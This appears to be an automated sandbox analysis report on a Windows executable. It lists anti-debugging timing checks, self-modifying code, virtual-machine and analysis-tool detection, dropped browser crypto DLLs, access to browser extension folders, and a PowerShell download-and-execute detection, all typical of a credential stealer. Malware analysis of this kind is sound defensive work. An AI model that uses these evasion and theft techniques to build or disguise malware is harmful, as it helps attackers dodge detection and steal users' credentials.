Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0562 second address: 4DC0568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F606C second address: 7F607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0CBB second address: 4DC0CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0CC1 second address: 4DC0CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0CC7 second address: 4DC0D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e call 00007FAA34DB19BCh 0x00000013 mov ch, F3h 0x00000015 pop ebx 0x00000016 jmp 00007FAA34DB19BCh 0x0000001b popad 0x0000001c push dword ptr [ebp+04h] 0x0000001f pushad 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0D06 second address: 4DC0D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007FAA34ECFF67h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bh, 80h 0x00000018 movzx esi, dx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0030 second address: 4DE00C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAA34DB19C6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FAA34DB19BEh 0x00000018 sbb esi, 342647B8h 0x0000001e jmp 00007FAA34DB19BBh 0x00000023 popfd 0x00000024 jmp 00007FAA34DB19C8h 0x00000029 popad 0x0000002a xchg eax, ecx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FAA34DB19BEh 0x00000032 or al, 00000048h 0x00000035 jmp 00007FAA34DB19BBh 0x0000003a popfd 0x0000003b movzx esi, bx 0x0000003e popad 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov edx, 611B6542h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00C2 second address: 4DE00C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00C7 second address: 4DE0194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 7921AFCBh 0x00000008 mov ecx, 70997DA7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FAA34DB19BAh 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FAA34DB19BEh 0x0000001e xor eax, 18005608h 0x00000024 jmp 00007FAA34DB19BBh 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007FAA34DB19C8h 0x00000030 adc cl, 00000068h 0x00000033 jmp 00007FAA34DB19BBh 0x00000038 popfd 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FAA34DB19BFh 0x00000042 or si, 3BAEh 0x00000047 jmp 00007FAA34DB19C9h 0x0000004c popfd 0x0000004d mov ecx, 65023037h 0x00000052 popad 0x00000053 xchg eax, ecx 0x00000054 jmp 00007FAA34DB19BAh 0x00000059 push dword ptr [ebp+08h] 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f pushfd 0x00000060 jmp 00007FAA34DB19BCh 0x00000065 xor si, D058h 0x0000006a jmp 00007FAA34DB19BBh 0x0000006f popfd 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0194 second address: 4DE01A6 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, ecx 0x00000008 popad 0x00000009 lea eax, dword ptr [ebp-08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01A6 second address: 4DE01AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE02B8 second address: 4DE0311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAA34ECFF61h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FAA34ECFF5Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FAA34ECFF67h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0311 second address: 4DE0329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34DB19C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0329 second address: 4DE0383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d jmp 00007FAA34ECFF66h 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 jmp 00007FAA34ECFF5Eh 0x0000001a mov ah, 03h 0x0000001c popad 0x0000001d push dword ptr [ebp+1Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FAA34ECFF68h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0383 second address: 4DE03F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+18h] 0x0000000e pushad 0x0000000f mov ecx, 0958A561h 0x00000014 mov al, 36h 0x00000016 popad 0x00000017 push dword ptr [ebp+14h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FAA34DB19BFh 0x00000021 add cx, 7F0Eh 0x00000026 jmp 00007FAA34DB19C9h 0x0000002b popfd 0x0000002c push eax 0x0000002d mov ah, dl 0x0000002f pop ecx 0x00000030 popad 0x00000031 push dword ptr [ebp+10h] 0x00000034 jmp 00007FAA34DB19BFh 0x00000039 push dword ptr [ebp+0Ch] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f call 00007FAA34DB19BBh 0x00000044 pop esi 0x00000045 mov esi, edx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE03F9 second address: 4DE03FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE03FF second address: 4DE0403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0694 second address: 4DC069A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC069A second address: 4DC0729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA34DB19BCh 0x00000008 jmp 00007FAA34DB19C2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FAA34DB19C0h 0x00000016 push eax 0x00000017 jmp 00007FAA34DB19BBh 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FAA34DB19C4h 0x00000024 add esi, 08D9AB28h 0x0000002a jmp 00007FAA34DB19BBh 0x0000002f popfd 0x00000030 pushad 0x00000031 jmp 00007FAA34DB19C6h 0x00000036 mov bx, ax 0x00000039 popad 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 mov ax, B1FFh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0769 second address: 4DC076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC076D second address: 4DC0773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0773 second address: 4DC0799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 16DA6DA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ecx 0x00000015 mov ecx, edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0799 second address: 4DC079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC079F second address: 4DC07A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC07A3 second address: 4DC07A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC07A7 second address: 4DC07F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FAAA4F03799h 0x0000000d push 74DF27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [74E80140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 pushfd 0x00000056 jmp 00007FAA34ECFF63h 0x0000005b sub al, FFFFFF9Eh 0x0000005e jmp 00007FAA34ECFF69h 0x00000063 popfd 0x00000064 jmp 00007FAA34ECFF60h 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC07F9 second address: 4DC083C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FAA34DB19BBh 0x00000016 adc ch, 0000005Eh 0x00000019 jmp 00007FAA34DB19C9h 0x0000001e popfd 0x0000001f movzx ecx, dx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC083C second address: 4DC085A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, 6370h 0x00000013 mov ebx, 153B469Ch 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC092F second address: 4DC093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34DB19BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC093F second address: 4DC0943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0943 second address: 4DC0953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0953 second address: 4DC0957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0957 second address: 4DC099B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAA34DB19C5h 0x00000008 xor cx, 9E96h 0x0000000d jmp 00007FAA34DB19C1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 lea ebx, dword ptr [edi+01h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAA34DB19BDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC099B second address: 4DC09FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAA34ECFF5Ch 0x00000013 sbb esi, 677B1918h 0x00000019 jmp 00007FAA34ECFF5Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FAA34ECFF66h 0x00000027 and al, 00000078h 0x0000002a jmp 00007FAA34ECFF5Bh 0x0000002f popfd 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0B58 second address: 4DC0BC4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAA34DB19C5h 0x00000008 xor eax, 5BF7D076h 0x0000000e jmp 00007FAA34DB19C1h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ecx, dword ptr [ebp-10h] 0x0000001a jmp 00007FAA34DB19BEh 0x0000001f mov dword ptr fs:[00000000h], ecx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007FAA34DB19BCh 0x0000002f sbb si, 74C8h 0x00000034 jmp 00007FAA34DB19BBh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BC4 second address: 4DC0BF7 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 004D6A3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b popad 0x0000000c pop ecx 0x0000000d jmp 00007FAA34ECFF5Eh 0x00000012 pop edi 0x00000013 jmp 00007FAA34ECFF60h 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0BF7 second address: 4DC0BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0EA0 second address: 4DC0EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov edi, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, 999Fh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0EB4 second address: 4DC0EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ecx, 797EA89Bh 0x00000011 popad 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov cl, bl 0x0000001a call 00007FAA34DB19C4h 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0EF4 second address: 4DC0F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FAA34ECFF5Ah 0x0000000b and eax, 05016DC8h 0x00000011 jmp 00007FAA34ECFF5Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0F20 second address: 4DC0F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0F24 second address: 4DC0F3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0F3F second address: 4DC0F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0F45 second address: 4DC0F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63DC0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7E69A1 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7460	Thread sleep time: -32016s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7436	Thread sleep time: -36018s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C51C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C51C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2081510945.00000000007C8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: chrome.exe, 00000001.00000002.1930318285.00004A3000AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2082345429.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2081510945.00000000007C8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: chrome.exe, 00000001.00000002.1931293841.00004A3000CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a35616fe-8dd3-4009-8ae6-e61c554c10fd
Source: chrome.exe, 00000001.00000002.1919462582.0000016314AA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareK

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C565FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C565FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C56C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C53B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C53B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2081510945.00000000007C8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: :Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53B341 cpuid

0_2_6C53B341

